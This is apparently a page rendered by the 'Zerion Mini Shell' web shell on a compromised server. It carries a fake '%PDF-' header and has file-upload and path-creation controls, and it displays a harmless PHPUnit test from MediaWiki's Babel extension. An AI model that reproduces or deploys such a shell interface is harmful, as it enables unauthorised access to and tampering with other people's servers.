%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/985914/root/www/varak.net/wiki.varak.net/extensions/Babel/tests/phpunit/
Upload File :
Create Path :
Current File : //proc/985914/root/www/varak.net/wiki.varak.net/extensions/Babel/tests/phpunit/BabelStaticTest.php

<?php

namespace Babel\Tests;

use BabelStatic;
use PHPUnit_Framework_TestCase;

/**
 * @covers BabelStatic
 *
 * @group Babel
 *
 * @licence GNU GPL v2+
 * @author Thiemo Mättig
 */
class BabelStaticTest extends PHPUnit_Framework_TestCase {

	public function testOnParserFirstCallInit() {
		$parser = $this->getMockBuilder( 'Parser' )
			->disableOriginalConstructor()
			->getMock();
		$parser->expects( $this->once() )
			->method( 'setFunctionHook' )
			->with( 'babel', array( 'Babel', 'Render' ) )
			->will( $this->returnValue( true ) );

		BabelStatic::onParserFirstCallInit( $parser );
	}

}

Zerion Mini Shell 1.0